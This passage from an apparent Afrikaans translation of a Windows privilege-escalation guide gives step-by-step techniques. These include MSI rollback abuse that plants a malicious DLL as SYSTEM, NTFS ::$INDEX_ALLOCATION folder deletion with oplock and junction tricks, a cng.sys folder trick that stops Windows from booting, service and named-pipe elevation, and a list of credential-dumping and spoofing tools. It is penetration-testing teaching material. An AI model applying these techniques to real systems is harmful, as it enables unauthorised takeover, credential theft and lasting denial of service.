WRITE_DAC
. -
Step 7: Run Another Install
-
Installeer die
.msi
weer, met: -
TARGETDIR
: Skryfbare ligging. -
ERROROUT
: 'n variable wat 'n geforseerde fout trigger. -
Hierdie install sal gebruik word om weer rollback te trigger, wat
.rbs
en.rbf
lees. -
Step 8: Monitor for
.rbs
-
Gebruik
ReadDirectoryChangesW
omC:\Config.Msi
te monitor totdat 'n nuwe.rbs
verskyn. -
Vang sy lĂȘernaam op.
-
Step 9: Sync Before Rollback
-
Die
.msi
bevat 'n custom install action (SyncBeforeRollback
) wat: -
'n event sein wanneer die
.rbs
geskep is. -
Dan wag voordat dit voortgaan.
-
Step 10: Reapply Weak ACL
-
NĂĄ die ontvangs van die
'.rbs created'
event: -
Die Windows Installer herappliqueer strong ACLs op
C:\Config.Msi
. -
Maar aangesien jy steeds 'n handle met
WRITE_DAC
het, kan jy weer weak ACLs toepas.
ACLs word slegs afgedwing tydens handle-open, so jy kan steeds na die vouer skryf.
-
Step 11: Drop Fake
.rbs
and.rbf
-
Oorskryf die
.rbs
lĂȘer met 'n fake rollback script wat Windows instrueer om: -
Jou
.rbf
lĂȘer te herstel (malicious DLL) na 'n privileged location (bv.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL
). -
Plaas jou fake
.rbf
wat 'n malicious SYSTEM-level payload DLL bevat. -
Step 12: Trigger the Rollback
-
Signal die sync event sodat die installer hervat.
-
'n type 19 custom action (
ErrorOut
) is geconfigureer om doelbewus die install op 'n bekende punt te laat faal. -
Dit veroorsaak dat rollback begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Lees jou malicious
.rbs
. -
Kopieer jou
.rbf
DLL in die teikengebied. -
Jy het nou jou malicious DLL in 'n SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Hardloop 'n vertroude auto-elevated binary (bv.
osk.exe
) wat die DLL laai wat jy gekaap het. -
Boom: Jou kode word uitgevoer as SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
Die hoof MSI rollback-tegniek (hierbo) veronderstel jy kan 'n hele gids verwyder (bv. C:\Config.Msi
). Maar wat as jou kwetsbaarheid slegs arbitrary file deletion toelaat?
Jy kan NTFS internals misbruik: elke vouer het 'n versteekte alternate data stream genaamd:
C:\SomeFolder::$INDEX_ALLOCATION
Hierdie stroom stoor die indeksmetadata van die gids.
Dus, as jy die ::$INDEX_ALLOCATION
stroom verwyder van 'n gids, verwyder NTFS die hele gids uit die lĂȘerstelsel.
Jy kan dit doen met behulp van standaard lĂȘerverwyderings-APIs soos:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Alhoewel jy 'n file delete API aanroep, verwyder dit die vouer self.
Van Folder Contents Delete na SYSTEM EoP
Wat as jou primitive jou nie toelaat om arbitrĂȘre lĂȘers/vouers te verwyder nie, maar dit laat toe dat die contents van 'n aanvaller-beheerde vouer verwyder word?
- Stap 1: Stel 'n lokaas-vouer en lĂȘer op
- Skep:
C:\temp\folder1
- Daarin:
C:\temp\folder1\file1.txt
- Stap 2: Plaas 'n oplock op
file1.txt
- Die oplock pauzeer uitvoering wanneer 'n geprivilegieerde proses probeer om
file1.txt
te verwyder.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Stap 3: Activeer die SYSTEM-proses (bv.
SilentCleanup
)
- Hierdie proses deursoek vouers (bv.
%TEMP%
) en probeer om hul inhoud te verwyder. - Wanneer dit by
file1.txt
kom, word die oplock geaktiveer en gee dit beheer aan jou callback.
- Stap 4: Binne die oplock callback â herlei die verwydering
-
Opsie A: Verskuif
file1.txt
na 'n ander plek -
Dit maak
folder1
leeg sonder om die oplock te verbreek. -
Moet nie
file1.txt
direk verwyder nie â dit sou die oplock voortydig vrylaat. -
Opsie B: Omskep
folder1
in 'n junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opsie C: Skep 'n symlink in
\RPC Control
:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Dit mik op die NTFS interne stroom wat vouer-metagegewens stoor â dit verwyder die vouer as jy dit verwyder.
- Stap 5: Vrylaat die oplock
- SYSTEM-proses gaan voort en probeer
file1.txt
verwyder. - Maar nou, as gevolg van die junction + symlink, verwyder dit eintlik:
C:\Config.Msi::$INDEX_ALLOCATION
Resultaat: C:\Config.Msi
word deur SYSTEM verwyder.
Van Arbitrary Folder Create na permanente DoS
Benut 'n primitive wat jou toelaat om create an arbitrary folder as SYSTEM/admin â selfs al kan jy nie you canât write files nie of set weak permissions.
Skep 'n folder (nie 'n file nie) met die naam van 'n kritieke Windows driver, bv.:
C:\Windows\System32\cng.sys
- Hierdie pad kom gewoonlik ooreen met die
cng.sys
kernel-mode driver. - As jy dit vooraf as 'n gids skep, misluk Windows om die werklike driver tydens opstart te laai.
- Dan probeer Windows om
cng.sys
tydens opstart te laai. - Dit sien die gids, kon nie die werklike driver oplos nie, en stort of staak die opstart.
- Daar is geen terugval nie, en geen herstel moontlik sonder eksterne ingryping (bv. boot-herstel of skyftoegang).
Van High Integrity na SYSTEM
Nuwe diens
As jy reeds op 'n High Integrity-proses loop, kan die pad na SYSTEM maklik wees net deur 'n nuwe diens te skep en uit te voer:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
tip
Wanneer jy 'n service binary skep, maak seker dit is 'n geldige service of dat die binary die nodige aksies uitvoer, want dit sal binne 20s gedood word as dit nie 'n geldige service is nie.
AlwaysInstallElevated
Vanuit 'n High Integrity proses kan jy probeer om die AlwaysInstallElevated registry entries te enable en 'n reverse shell te install met 'n .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
Jy kan vind die kode hier.
From SeDebug + SeImpersonate to Full Token privileges
As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds High Integrity proses vind), sal jy in staat wees om byna enige proses (nie-protected processes nie) met die SeDebug privilege te open, die token van die proses te kopieer, en 'n ewekansige proses met daardie token te skep.
Hierdie tegniek kies gewoonlik 'n proses wat as SYSTEM loop met al die token privileges (ja, jy kan SYSTEM prosesse vind sonder al die token privileges).
Jy kan 'n voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind.
Named Pipes
Hierdie tegniek word deur meterpreter gebruik om in getsystem
te eskaleer. Die tegniek bestaan uit die skep van 'n pipe en dan 'n service skep/misbruik om op daardie pipe te skryf. Dan sal die server wat die pipe geskep het met die SeImpersonate
privilege in staat wees om die token van die pipe-klient (die service) te impersonate en SYSTEM privileges te verkry.
As jy meer oor name pipes wil leer lees dit hier.
As jy 'n voorbeeld wil lees van hoe om van high integrity na System te gaan met name pipes lees dit hier.
Dll Hijacking
Indien jy daarin slaag om 'n dll te hijack wat deur 'n proses wat as SYSTEM loop geladen word, sal jy arbitĂȘre kode met daardie permissies kan uitvoer. Daarom is Dll Hijacking ook nuttig vir hierdie tipe privilege escalation, en dit is boonop veel makkelijker om van 'n high integrity proses te bereik aangesien dit write permissions op die vouers het wat gebruik word om dlls te laai.
Jy kan meer oor Dll hijacking hier leer.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Lees: https://github.com/itm4n/FullPowers
Meer hulp
Nuttige gereedskap
Beste tool om vir Windows local privilege escalation vectors te soek: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Kyk vir miskonfigurasies en sensitiewe lĂȘers (check here). Gedetecteer.
JAWS -- Kyk vir moontlike miskonfigurasies en versamel inligting (check here).
privesc -- Kyk vir miskonfigurasies
SessionGopher -- Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie-inligting. Gebruik -Thorough lokaal.
Invoke-WCMDump -- Onttrek credentials uit Credential Manager. Gedetecteer.
DomainPasswordSpray -- Spray versamelde wagwoorde oor die domein
Inveigh -- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle tool.
WindowsEnum -- Basiese privesc Windows enumerasie
Sherlock ~~~~ -- Soek na bekende privesc kwetsbaarhede (VEROORDEELD ten gunste van Watson)
WINspect -- Lokale kontroles (Vereis Admin regte)
Exe
Watson -- Soek na bekende privesc kwetsbaarhede (moet saamgestel word met VisualStudio) (precompiled)
SeatBelt -- Enumerateer die gasheer om miskonfigurasies te soek (meer 'n inligtingsversamelingsgereedskap as privesc) (moet saamgestel word) (precompiled)
LaZagne -- Onttrek credentials uit baie sagteware (precompiled exe op GitHub)
SharpUP -- Port van PowerUp na C#
Beroot ~~~~ -- Kyk vir miskonfigurasies (uitvoerbare lĂȘer precompiled op GitHub). Nie aanbeveel nie. Werk nie goed op Win10 nie.
Windows-Privesc-Check -- Kyk vir moontlike miskonfigurasies (exe van python). Nie aanbeveel nie. Werk nie goed op Win10 nie.
Bat
winPEASbat -- Gereedskap geskep gebaseer op hierdie pos (dit het nie accesschk nodig om behoorlik te werk nie, maar kan dit gebruik).
Local
Windows-Exploit-Suggester -- Lees die uitset van systeminfo en beveel werkende exploits aan (lokale python)
Windows Exploit Suggester Next Generation -- Lees die uitset van systeminfo en beveel werkende exploits aan (lokale python)
Meterpreter
multi/recon/local_exploit_suggestor
Jy moet die projek saamstel met die korrekte weergawe van .NET (see this). Om die geĂŻnstalleerde weergawe van .NET op die geteikende gasheer te sien kan jy:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Verwysings
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF â VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research â Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.